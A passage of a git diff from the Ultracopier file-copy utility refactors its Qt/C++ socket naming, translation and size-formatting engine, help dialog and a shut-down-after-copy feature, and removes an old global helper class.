- if(GetUserNameW(userNameW,&size))
- {
- userName.fromWCharArray(userNameW,size*2);
- userName=QString(QByteArray((char*)userNameW,size*2-2).toHex());
- }
- delete userNameW;
- }
- return name+"-"+userName;
+ QString userName;
+
+ /* bad way for catchcopy compatibility
+ char uname[1024];
+ DWORD len=1023;
+ if(GetUserNameA(uname, &len)!=FALSE)
+ userName=QString::fromLatin1(toHex(uname));*/
+
+ QChar charTemp;
+ DWORD size=255;
+ WCHAR * userNameW=new WCHAR[size];
+ if(GetUserNameW(userNameW,&size))
+ {
+ QByteArray tempArray;
+ userName=QString::fromWCharArray(userNameW,size-1);
+ int index=0;
+ while(index<userName.size())
+ {
+ tempArray+=userName.at(index).cell();
+ tempArray+=userName.at(index).row();
+ index++;
+ }
+ userName=tempArray.toHex();
+ }
+ delete userNameW;
+ return name+QStringLiteral("-")+userName;
#endif
}
+
+// Dump UTF16 (little endian)
+char * ExtraSocket::toHex(const char *str)
+{
+ char *p, *sz;
+ size_t len;
+ if (str==NULL)
+ return NULL;
+ len= strlen(str);
+ p = sz = (char *) malloc((len+1)*4);
+ for (size_t i=0; i<len; i++)
+ {
+ sprintf(p, "%.2x00", str[i]);
+ p+=4;
+ }
+ *p=0;
+ return sz;
+}
diff --git a/ExtraSocket.h b/ExtraSocket.h
index 56229c7..4fa15e1 100644
--- a/ExtraSocket.h
+++ b/ExtraSocket.h
@@ -1,8 +1,6 @@
/** \file ExtraSocket.h
\brief Define the socket for ultracopier
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef EXTRASOCKET_H
@@ -11,18 +9,22 @@
#include <QString>
#ifdef Q_OS_UNIX
- #include <unistd.h>
- #include <sys/types.h>
+ #include <unistd.h>
+ #include <sys/types.h>
#else
- #include <windows.h>
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
#endif
/** \brief class to have general socket options */
class ExtraSocket
{
public:
- /** \brief class to return always the same socket resolution */
- static QString pathSocket(const QString &name);
+ /** \brief class to return always the same socket resolution */
+ static QString pathSocket(const QString &name);
+ static char * toHex(const char *str);
};
#endif // EXTRASOCKET_H
diff --git a/FacilityEngine.cpp b/FacilityEngine.cpp
index 30c5168..ca6d467 100644
--- a/FacilityEngine.cpp
+++ b/FacilityEngine.cpp
@@ -2,207 +2,240 @@
\brief To implement the facility engine, the interface is defined into FacilityInterface()
\see FacilityInterface()
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "FacilityEngine.h"
#if defined (Q_OS_WIN32)
-#include <windows.h>
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
#endif
+FacilityEngine FacilityEngine::facilityEngine;
+
FacilityEngine::FacilityEngine()
{
- retranslate();
+ retranslate();
}
/// \brief To force the text re-translation
void FacilityEngine::retranslate()
{
- //undirect translated string
- Translation_perSecond="/"+tr("s");
- Translation_tooBig=tr("Too big");
- Translation_B=tr("B");
- Translation_KB=tr("KB");
- Translation_MB=tr("MB");
- Translation_GB=tr("GB");
- Translation_TB=tr("TB");
- Translation_PB=tr("PB");
- Translation_EB=tr("EB");
- Translation_ZB=tr("ZB");
- Translation_YB=tr("YB");
- Translation_SimplifiedRemaningTime_LessThan10s=tr("Less than %10 seconds");
- Translation_SimplifiedRemaningTime_AboutSeconds=tr("About %10 seconds remaining");
- Translation_SimplifiedRemaningTime_AboutMinutes=tr("About %1 minutes remaining");
- Translation_SimplifiedRemaningTime_AboutHours=tr("About %1 hours remaining");
- //load the translations tab
- translations["Copy engine"]=tr("Copy engine");
- translations["Copy"]=tr("Copy");
- translations["Move"]=tr("Move");
- translations["Pause"]=tr("Pause");
- translations["Resume"]=tr("Resume");
- translations["Skip"]=tr("Skip");
- translations["Unlimited"]=tr("Unlimited");
- translations["Source"]=tr("Source");
- translations["Size"]=tr("Size");
- translations["Destination"]=tr("Destination");
- translations["Quit"]=tr("Quit");
- translations["Target"]=tr("Target");
- translations["Time remaining:"]=tr("Time remaining:");
- translations["Listing"]=tr("Listing");
- translations["Copying"]=tr("Copying");
- translations["Listing and copying"]=tr("Listing and copying");
- translations["Time remaining:"]=tr("Time remaining:");
- //for copy engine
- translations["Ask"]=tr("Ask");
- translations["Skip"]=tr("Skip");
- translations["Overwrite"]=tr("Overwrite");
- translations["Overwrite if newer"]=tr("Overwrite if newer");
- translations["Overwrite if the last modification dates are different"]=tr("Overwrite if the last modification dates are different");
- translations["Rename"]=tr("Rename");
- translations["Put to end of the list"]=tr("Put to end of the list");
- translations["Select source directory"]=tr("Select source directory");
- translations["Select destination directory"]=tr("Select destination directory");
- translations["Internal error"]=tr("Internal error");
- translations["Select one or more files to open"]=tr("Select one or more files to open");
- translations["All files"]=tr("All files");
- translations["Save transfer list"]=tr("Save transfer list");
- translations["Open transfer list"]=tr("Open transfer list");
- translations["Transfer list"]=tr("Transfer list");
- translations["Error"]=tr("Error");
- translations["Not supported on this platform"]=tr("Not supported on this platform");
+ //undirect translated string
+ Translation_perSecond=QStringLiteral("/")+tr("s");
+ Translation_tooBig=tr("Too big");
+ Translation_B=tr("B");
+ Translation_KB=tr("KB");
+ Translation_MB=tr("MB");
+ Translation_GB=tr("GB");
+ Translation_TB=tr("TB");
+ Translation_PB=tr("PB");
+ Translation_EB=tr("EB");
+ Translation_ZB=tr("ZB");
+ Translation_YB=tr("YB");
+ Translation_SimplifiedRemaningTime_LessThan10s=tr("Less than %10 seconds");
+ Translation_SimplifiedRemaningTime_AboutSeconds=tr("About %10 seconds remaining");
+ Translation_SimplifiedRemaningTime_AboutMinutes=tr("About %1 minutes remaining");
+ Translation_SimplifiedRemaningTime_AboutHours=tr("About %1 hours remaining");
+ //load the translations tab
+ translations["Copy engine"]=tr("Copy engine");
+ //: a copy
+ translations["Copy"]=tr("Copy");
+ //: a transfer
+ translations["Transfer"]=tr("Transfer");
+ //: a move
+ translations["Move"]=tr("Move");
+ translations["Start"]=tr("Start");
+ translations["Pause"]=tr("Pause");
+ translations["Resume"]=tr("Resume");
+ translations["Skip"]=tr("Skip");
+ translations["Unlimited"]=tr("Unlimited");
+ translations["Source"]=tr("Source");
+ translations["Size"]=tr("Size");
+ translations["Destination"]=tr("Destination");
+ translations["Quit"]=tr("Quit");
+ translations["Target"]=tr("Target");
+ translations["Time remaining:"]=tr("Time remaining:");
+ translations["Listing"]=tr("Listing");
+ translations["Copying"]=tr("Copying");
+ translations["Listing and copying"]=tr("Listing and copying");
+ translations["Time remaining:"]=tr("Time remaining:");
+ //for copy engine
+ translations["Ask"]=tr("Ask");
+ translations["Skip"]=tr("Skip");
+ translations["Overwrite"]=tr("Overwrite");
+ translations["Overwrite if newer"]=tr("Overwrite if newer");
+ translations["Overwrite if the last modification dates are different"]=tr("Overwrite if the last modification dates are different");
+ translations["Rename"]=tr("Rename");
+ translations["Put to the end of the list"]=tr("Put to the end of the list");
+ translations["Select source directory"]=tr("Select source directory");
+ translations["Select destination directory"]=tr("Select destination directory");
+ translations["Internal error"]=tr("Internal error");
+ translations["Select one or more files to open"]=tr("Select one or more files to open");
+ translations["All files"]=tr("All files");
+ translations["Save transfer list"]=tr("Save transfer list");
+ translations["Open transfer list"]=tr("Open transfer list");
+ translations["Transfer list"]=tr("Transfer list");
+ translations["Error"]=tr("Error");
+ translations["Not supported on this platform"]=tr("Not supported on this platform");
+ translations["Completed in %1"]=tr("Completed in %1");
}
/// \brief convert size in Byte to String
-QString FacilityEngine::sizeToString(const double &size)
+QString FacilityEngine::sizeToString(const double &size) const
{
- double size_temp=size;
- if(size_temp<1024)
- return QString::number(size_temp)+sizeUnitToString(SizeUnit_byte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_KiloByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_MegaByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_GigaByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_TeraByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_PetaByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_ExaByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_ZettaByte);
- if((size_temp=size_temp/1024)<1024)
- return adaptString(size_temp)+sizeUnitToString(SizeUnit_YottaByte);
- return Translation_tooBig;
+ double size_temp=size;
+ if(size_temp<1024)
+ return QString::number(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_byte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_KiloByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_MegaByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_GigaByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_TeraByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_PetaByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_ExaByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_ZettaByte);
+ if((size_temp=size_temp/1024)<1024)
+ return adaptString(size_temp)+sizeUnitToString(Ultracopier::SizeUnit_YottaByte);
+ return Translation_tooBig;
}
-QString FacilityEngine::adaptString(const float &size)
+QString FacilityEngine::adaptString(const float &size) const
{
- if(size>=100)
- return QString::number(size,'f',0);
- else
- return QString::number(size,'g',3);
+ if(size>=100)
+ return QString::number(size,'f',0);
+ else
+ return QString::number(size,'g',3);
}
/// \brief convert size unit to String
-QString FacilityEngine::sizeUnitToString(const SizeUnit &sizeUnit)
+QString FacilityEngine::sizeUnitToString(const Ultracopier::SizeUnit &sizeUnit) const
{
- switch(sizeUnit)
- {
- case SizeUnit_byte:
- return Translation_B;
- case SizeUnit_KiloByte:
- return Translation_KB;
- case SizeUnit_MegaByte:
- return Translation_MB;
- case SizeUnit_GigaByte:
- return Translation_GB;
- case SizeUnit_TeraByte:
- return Translation_TB;
- case SizeUnit_PetaByte:
- return Translation_PB;
- case SizeUnit_ExaByte:
- return Translation_EB;
- case SizeUnit_ZettaByte:
- return Translation_ZB;
- case SizeUnit_YottaByte:
- return Translation_YB;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"sizeUnit: "+QString::number(sizeUnit));
- return "???";
- }
+ switch(sizeUnit)
+ {
+ case Ultracopier::SizeUnit_byte:
+ return Translation_B;
+ case Ultracopier::SizeUnit_KiloByte:
+ return Translation_KB;
+ case Ultracopier::SizeUnit_MegaByte:
+ return Translation_MB;
+ case Ultracopier::SizeUnit_GigaByte:
+ return Translation_GB;
+ case Ultracopier::SizeUnit_TeraByte:
+ return Translation_TB;
+ case Ultracopier::SizeUnit_PetaByte:
+ return Translation_PB;
+ case Ultracopier::SizeUnit_ExaByte:
+ return Translation_EB;
+ case Ultracopier::SizeUnit_ZettaByte:
+ return Translation_ZB;
+ case Ultracopier::SizeUnit_YottaByte:
+ return Translation_YB;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"sizeUnit: "+QString::number(sizeUnit));
+ return "???";
+ }
}
/// \brief translate the text
-QString FacilityEngine::translateText(const QString &text)
+QString FacilityEngine::translateText(const QString &text) const
{
- if(translations.contains(text))
- return translations[text];
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"text: "+text);
- return text;
- }
+ if(translations.contains(text))
+ return translations.value(text);
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"translation not found: "+text);
+ return text;
+ }
}
/// \brief speed to string in byte per seconds
-QString FacilityEngine::speedToString(const double &speed)
+QString FacilityEngine::speedToString(const double &speed) const
{
- return sizeToString(speed)+Translation_perSecond;
+ return sizeToString(speed)+Translation_perSecond;
}
/// \brief Decompose the time in second
-TimeDecomposition FacilityEngine::secondsToTimeDecomposition(const quint32 &seconds)
+Ultracopier::TimeDecomposition FacilityEngine::secondsToTimeDecomposition(const quint32 &seconds) const
{
- quint32 seconds_temp=seconds;
- TimeDecomposition returnValue;
- returnValue.second=seconds_temp%60;
- seconds_temp-=returnValue.second;
- seconds_temp/=60;
- returnValue.minute=seconds_temp%60;
- seconds_temp-=returnValue.minute;
- seconds_temp/=60;
- returnValue.hour=seconds_temp;
- return returnValue;
+ quint32 seconds_temp=seconds;
+ Ultracopier::TimeDecomposition returnValue;
+ returnValue.second=seconds_temp%60;
+ seconds_temp-=returnValue.second;
+ seconds_temp/=60;
+ returnValue.minute=seconds_temp%60;
+ seconds_temp-=returnValue.minute;
+ seconds_temp/=60;
+ returnValue.hour=seconds_temp;
+ return returnValue;
}
/// \brief have the functionality
-bool FacilityEngine::haveFunctionality(const QString &fonctionnality)
+bool FacilityEngine::haveFunctionality(const QString &fonctionnality) const
{
- #if defined (Q_OS_WIN32)
- if(fonctionnality=="shutdown")
- return true;
- #endif
- Q_UNUSED(fonctionnality);
- return false;
+ #if defined (Q_OS_WIN32)
+ if(fonctionnality=="shutdown")
+ return true;
+ #endif
+ Q_UNUSED(fonctionnality);
+ return false;
}
/// \brief call the fonctionnality
QVariant FacilityEngine::callFunctionality(const QString &fonctionnality,const QStringList &args)
{
- #if defined (Q_OS_WIN32)
- ExitWindowsEx(EWX_POWEROFF | EWX_FORCE,0);
- system("shutdown /s /f /t 0");
- #endif
- Q_UNUSED(fonctionnality);
- Q_UNUSED(args);
- return QVariant();
+ #if defined (Q_OS_WIN32)
+ ExitWindowsEx(EWX_POWEROFF | EWX_FORCE,0);
+ system("shutdown /s /f /t 0");
+ #endif
+ Q_UNUSED(fonctionnality);
+ Q_UNUSED(args);
+ return QVariant();
}
/// \brief Do the simplified time
-QString FacilityEngine::simplifiedRemainingTime(const quint32 &seconds)
+QString FacilityEngine::simplifiedRemainingTime(const quint32 &seconds) const
+{
+ if(seconds<50)
+ {
+ if(seconds<10)
+ return Translation_SimplifiedRemaningTime_LessThan10s.arg(seconds/10+1);
+ else
+ return Translation_SimplifiedRemaningTime_AboutSeconds.arg(seconds/10+1);
+ }
+ if(seconds<3600)
+ return Translation_SimplifiedRemaningTime_AboutMinutes.arg(seconds/60);
+ return Translation_SimplifiedRemaningTime_AboutHours.arg(seconds/3600);
+}
+
+/// \brief Return ultimate url, empty is not found or already ultimate
+QString FacilityEngine::ultimateUrl() const
+{
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ return QString();
+ #else
+ #if defined(Q_OS_WIN32) || defined(Q_OS_MAC)
+ return QStringLiteral("http://ultracopier.first-world.info/shop.html");
+ #else
+ return QString();
+ #endif
+ #endif
+}
+
+/// \brief Return the software name
+QString FacilityEngine::softwareName() const
{
- if(seconds<50)
- {
- if(seconds<10)
- return Translation_SimplifiedRemaningTime_LessThan10s.arg(seconds/10+1);
- else
- return Translation_SimplifiedRemaningTime_AboutSeconds.arg(seconds/10+1);
- }
- if(seconds<3600)
- return Translation_SimplifiedRemaningTime_AboutMinutes.arg(seconds/60);
- return Translation_SimplifiedRemaningTime_AboutHours.arg(seconds/3600);
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ return QStringLiteral("Supercopier");
+ #else
+ return QStringLiteral("Ultracopier");
+ #endif
}
diff --git a/FacilityEngine.h b/FacilityEngine.h
index d5a6145..1ab658f 100644
--- a/FacilityEngine.h
+++ b/FacilityEngine.h
@@ -2,8 +2,6 @@
\brief To implement the facility engine, the interface is defined into FacilityInterface()
\see FacilityInterface()
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef FACILITYENGINE_H
@@ -23,49 +21,55 @@ This class is used into some plugin like copy engine plugin, to all into one pla
*/
class FacilityEngine : public FacilityInterface
{
- Q_OBJECT
+ Q_OBJECT
public:
- explicit FacilityEngine();
- /// \brief convert size in Byte to String
- QString sizeToString(const double &size);
- /// \brief convert size unit to String
- QString sizeUnitToString(const SizeUnit &sizeUnit);
- /// \brief translate the text
- QString translateText(const QString &text);
- /// \brief speed to string in byte per seconds
- QString speedToString(const double &speed);
- /// \brief Decompose the time in second
- TimeDecomposition secondsToTimeDecomposition(const quint32 &seconds);
- /// \brief have the fonctionnality
- bool haveFunctionality(const QString &fonctionnality);
- /// \brief call the fonctionnality
- QVariant callFunctionality(const QString &fonctionnality,const QStringList &args=QStringList());
- /// \brief Do the simplified time
- QString simplifiedRemainingTime(const quint32 &seconds);
+ explicit FacilityEngine();
+ /// \brief convert size in Byte to String
+ QString sizeToString(const double &size) const;
+ /// \brief convert size unit to String
+ QString sizeUnitToString(const Ultracopier::SizeUnit &sizeUnit) const;
+ /// \brief translate the text
+ QString translateText(const QString &text) const;
+ /// \brief speed to string in byte per seconds
+ QString speedToString(const double &speed) const;
+ /// \brief Decompose the time in second
+ Ultracopier::TimeDecomposition secondsToTimeDecomposition(const quint32 &seconds) const;
+ /// \brief have the fonctionnality
+ bool haveFunctionality(const QString &fonctionnality) const;
+ /// \brief call the fonctionnality
+ QVariant callFunctionality(const QString &fonctionnality,const QStringList &args=QStringList());
+ /// \brief Do the simplified time
+ QString simplifiedRemainingTime(const quint32 &seconds) const;
+ /// \brief Return ultimate url, empty is not found or already ultimate
+ QString ultimateUrl() const;
+ /// \brief Return the software name
+ QString softwareName() const;
+
+ static FacilityEngine facilityEngine;
private:
- //undirect translated string
- QString Translation_perSecond;
- QString Translation_tooBig;
- QString Translation_B;
- QString Translation_KB;
- QString Translation_MB;
- QString Translation_GB;
- QString Translation_TB;
- QString Translation_PB;
- QString Translation_EB;
- QString Translation_ZB;
- QString Translation_YB;
- //simplified remaining time
- QString Translation_SimplifiedRemaningTime_LessThan10s;
- QString Translation_SimplifiedRemaningTime_AboutSeconds;
- QString Translation_SimplifiedRemaningTime_AboutMinutes;
- QString Translation_SimplifiedRemaningTime_AboutHours;
- //internal fonction
- QString adaptString(const float &nb);
- QHash<QString,QString> translations;
+ //undirect translated string
+ QString Translation_perSecond;
+ QString Translation_tooBig;
+ QString Translation_B;
+ QString Translation_KB;
+ QString Translation_MB;
+ QString Translation_GB;
+ QString Translation_TB;
+ QString Translation_PB;
+ QString Translation_EB;
+ QString Translation_ZB;
+ QString Translation_YB;
+ //simplified remaining time
+ QString Translation_SimplifiedRemaningTime_LessThan10s;
+ QString Translation_SimplifiedRemaningTime_AboutSeconds;
+ QString Translation_SimplifiedRemaningTime_AboutMinutes;
+ QString Translation_SimplifiedRemaningTime_AboutHours;
+ //internal fonction
+ inline QString adaptString(const float &nb) const;
+ QHash<QString,QString> translations;
public slots:
- /// \brief To force the text re-translation
- void retranslate();
+ /// \brief To force the text re-translation
+ void retranslate();
};
#endif // FACILITYENGINE_H
diff --git a/GlobalClass.cpp b/GlobalClass.cpp
deleted file mode 100644
index 0f1c52a..0000000
--- a/GlobalClass.cpp
+++ /dev/null
@@ -1,40 +0,0 @@
-/** \file GlobalClass.cpp
-\brief Define the class for all the class different of ResourcesManager, DebugEngine, ThemesManager, OptionEngine can have object of this class at the global scope
-\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
-
-#include "GlobalClass.h"
-
-/// \brief The constructor where set the global variable to the good pointer
-GlobalClass::GlobalClass()
-{
- //load the debug engine, themes and resources, after reused in all the program and all class derive from GlobalClass
- #ifdef ULTRACOPIER_DEBUG
- debug_engine_instance=DebugEngine::getInstance();
- #endif // ULTRACOPIER_DEBUG
- resources=ResourcesManager::getInstance();
- plugins=PluginsManager::getInstance();
- options=OptionEngine::getInstance();
- themes=ThemesManager::getInstance();
- languages=LanguagesManager::getInstance();
-}
-
-/// \brief The destructor where destroy the variable if the object no more longer used
-GlobalClass::~GlobalClass()
-{
- //destroy the resources variable if not more used
- LanguagesManager::destroyInstanceAtTheLastCall();
- ThemesManager::destroyInstanceAtTheLastCall();
- OptionEngine::destroyInstanceAtTheLastCall();
- PluginsManager::destroyInstanceAtTheLastCall();
- ResourcesManager::destroyInstanceAtTheLastCall();
- #ifdef ULTRACOPIER_DEBUG
- DebugEngine::destroyInstanceAtTheLastCall();
- #endif // ULTRACOPIER_DEBUG
-}
-
-
-
-
diff --git a/GlobalClass.h b/GlobalClass.h
deleted file mode 100644
index 21dd12e..0000000
--- a/GlobalClass.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/** \file GlobalClass.h
-\brief Define the class for all the class different of ResourcesManager, DebugEngine, ThemesManager, OptionEngine have object of this class at the global scope
-\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
-
-#ifndef GLOBAL_CLASS_H
-#define GLOBAL_CLASS_H
-
-#include "Environment.h"
-#include "ThemesManager.h"
-#include "ResourcesManager.h"
-#include "OptionEngine.h"
-#include "LanguagesManager.h"
-#include "PluginsManager.h"
-
-#include "interface/OptionInterface.h"
-
-/// \brief Define the class for the debug and global variables heritage
-class GlobalClass
-{
- public:
- /// \brief The constructor where set the global variable to the good pointer
- GlobalClass();
- /// \brief The destructor where destroy the variable if the unique instance is no more longer used
- ~GlobalClass();
- protected:
- //for the themes
- ThemesManager *themes;
- //for the resources linked with the themes
- ResourcesManager *resources;
- //for the options
- OptionEngine *options;
- //for the languages
- LanguagesManager *languages;
- //for the plugins
- PluginsManager *plugins;
- #ifdef ULTRACOPIER_DEBUG
- DebugEngine *debug_engine_instance;
- #endif // ULTRACOPIER_DEBUG
-};
-
-#endif // GLOBAL_CLASS_H
diff --git a/HelpDialog.cpp b/HelpDialog.cpp
index 2d06d54..f821eac 100644
--- a/HelpDialog.cpp
+++ b/HelpDialog.cpp
@@ -1,8 +1,6 @@
/** \file HelpDialog.cpp
\brief Define the help dialog
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "HelpDialog.h"
@@ -12,169 +10,140 @@
/// \brief Construct the object
HelpDialog::HelpDialog() :
- ui(new Ui::HelpDialog)
+ ui(new Ui::HelpDialog)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- ui->setupUi(this);
- reloadTextValue();
- #ifdef ULTRACOPIER_DEBUG
- connect(debug_engine_instance,SIGNAL(newDebugInformation()),this,SLOT(addDebugText()));
- connect(ui->pushButtonSaveBugReport,SIGNAL(clicked()),debug_engine_instance,SLOT(saveBugReport()));
- #else // ULTRACOPIER_DEBUG
- ui->lineEditInsertDebug->hide();
- ui->debugView->hide();
- ui->pushButtonSaveBugReport->hide();
- ui->pushButtonCrash->hide();
- this->setMaximumSize(QSize(500,128));
- /*timeToSetText.setInterval(250);
- timeToSetText.setSingleShot(true);
- connect(&timeToSetText,SIGNAL(timeout()),this,SLOT(showDebugText()));*/
- ui->pushButtonClose->hide();
- #endif // ULTRACOPIER_DEBUG
- //connect the about Qt
- connect(ui->pushButtonAboutQt,SIGNAL(toggled(bool)),qApp,SLOT(aboutQt()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ ui->setupUi(this);
+ reloadTextValue();
+ #ifdef ULTRACOPIER_DEBUG
+ ui->debugView->setModel(DebugModel::debugModel);
+ connect(ui->pushButtonSaveBugReport,&QPushButton::clicked,DebugEngine::debugEngine,&DebugEngine::saveBugReport);
+ #else // ULTRACOPIER_DEBUG
+ ui->lineEditInsertDebug->hide();
+ ui->debugView->hide();
+ ui->pushButtonSaveBugReport->hide();
+ ui->pushButtonCrash->hide();
+ this->setMaximumSize(QSize(500,128));
+ /*timeToSetText.setInterval(250);
+ timeToSetText.setSingleShot(true);
+ connect(&timeToSetText,QTimer::timeout,this,&DebugEngine::showDebugText);*/
+ ui->pushButtonClose->hide();
+ #endif // ULTRACOPIER_DEBUG
+ //connect the about Qt
+ connect(ui->pushButtonAboutQt,&QPushButton::toggled,&QApplication::aboutQt);
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ setWindowTitle(tr("About Supercopier"));
+ #else
+ setWindowTitle(tr("About Ultracopier"));
+ #endif
}
/// \brief Destruct the object
HelpDialog::~HelpDialog()
{
- delete ui;
+ delete ui;
}
/// \brief To re-translate the ui
void HelpDialog::changeEvent(QEvent *e)
{
- QDialog::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- ui->retranslateUi(this);
- reloadTextValue();
- break;
- default:
- break;
- }
+ QDialog::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ ui->retranslateUi(this);
+ reloadTextValue();
+ break;
+ default:
+ break;
+ }
}
/// \brief To reload the text value
void HelpDialog::reloadTextValue()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString text=ui->label_ultracopier->text();
- #ifdef ULTRACOPIER_VERSION_ULTIMATE
- text=text.replace("%1",QString("Ultimate %1").arg(ULTRACOPIER_VERSION));
- #else
- text=text.replace("%1",ULTRACOPIER_VERSION);
- #endif
- ui->label_ultracopier->setText(text);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ QString text=ui->label_ultracopier->text();
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ text=text.replace(QStringLiteral("%1"),QStringLiteral("Ultimate %1").arg(ULTRACOPIER_VERSION));
+ #else
+ text=text.replace(QStringLiteral("%1"),ULTRACOPIER_VERSION);
+ #endif
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ text=text.replace(QStringLiteral("Ultracopier"),QStringLiteral("Supercopier"),Qt::CaseInsensitive);
+ #endif
+ ui->label_ultracopier->setText(text);
- text=ui->label_description->text();
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- #ifdef ULTRACOPIER_VERSION_PORTABLEAPPS
- text=text.replace("%1",tr("For http://portableapps.com/"));
- #else
- text=text.replace("%1",tr("Portable version"));
- #endif
- #else
- text=text.replace("%1",tr("Normal version"));
- #endif
- ui->label_description->setText(text);
+ text=ui->label_description->text();
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ #ifdef ULTRACOPIER_VERSION_PORTABLEAPPS
+ text=text.replace(QStringLiteral("%1"),tr("For http://portableapps.com/"));
+ #else
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ text=text.replace(QStringLiteral("%1"),tr("Portable and all in one version"));
+ #else
+ text=text.replace(QStringLiteral("%1"),tr("Portable version"));
+ #endif
+ #endif
+ #else
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ text=text.replace(QStringLiteral("%1"),tr("All in one version"));
+ #else
+ text=text.replace(QStringLiteral("%1"),tr("Normal version"));
+ #endif
+ #endif
+ ui->label_description->setText(text);
- text=ui->label_site->text();
- //: This site need be the official site of ultracopier, into the right languages, english if not exists
- text=text.replace("%1",tr("http://ultracopier.first-world.info/"));
- ui->label_site->setText(text);
+ text=ui->label_site->text();
+ //: This site need be the official site of ultracopier, into the right languages, english if not exists
+ text=text.replace(QStringLiteral("%1"),getWebSite());
+ ui->label_site->setText(text);
- text=ui->label_platform->text();
- text=text.replace("%1",ULTRACOPIER_PLATFORM_NAME);
- ui->label_platform->setText(text);
+ text=ui->label_platform->text();
+ text=text.replace(QStringLiteral("%1"),ULTRACOPIER_PLATFORM_NAME);
+ ui->label_platform->setText(text);
}
-#ifdef ULTRACOPIER_DEBUG
-/// \brief Add debug text
-void HelpDialog::addDebugText()
+QString HelpDialog::getWebSite()
{
- QList<DebugEngine::ItemOfDebug> returnedList=debug_engine_instance->getItemList();
- QTreeWidgetItem * item;
- QBrush brush;
- QFont functionFont;
- functionFont.setItalic(true);
- functionFont.setUnderline(true);
- QFont timeFont;
- timeFont.setBold(true);
- QFont noteFont;
- noteFont.setBold(true);
- noteFont.setPointSize(15);
- int index=0;
- int loop_size=returnedList.size();
- while(index<loop_size)
- {
- item=new QTreeWidgetItem(ui->debugView,QStringList()
- << returnedList.at(index).time
- << returnedList.at(index).file
- << returnedList.at(index).function
- << returnedList.at(index).location
- << returnedList.at(index).text);
- switch(returnedList.at(index).level)
- {
- case DebugLevel_custom_Information:
- brush=QBrush(QColor(94,165,255));
- break;
- case DebugLevel_custom_Critical:
- brush=QBrush(QColor(255,0,0));
- break;
- case DebugLevel_custom_Warning:
- brush=QBrush(QColor(255,178,0));
- break;
- case DebugLevel_custom_Notice:
- brush=QBrush(QColor(128,128,128));
- break;
- case DebugLevel_custom_UserNote:
- brush=QBrush(QColor(0,0,0));
- break;
- }
- item->setForeground(0,brush);
- item->setFont(0,timeFont);
- item->setForeground(1,brush);
- item->setForeground(2,brush);
- item->setFont(2,functionFont);
- item->setForeground(3,brush);
- item->setForeground(4,brush);
- if(returnedList.at(index).level==DebugLevel_custom_UserNote)
- {
- item->setFont(0,noteFont);
- item->setFont(1,noteFont);
- item->setFont(2,noteFont);
- item->setFont(3,noteFont);
- item->setFont(4,noteFont);
- }
- ui->debugView->insertTopLevelItem(ui->debugView->columnCount(),item);
- index++;
- }
- if(loop_size==ULTRACOPIER_DEBUG_MAX_GUI_LINE)
- {
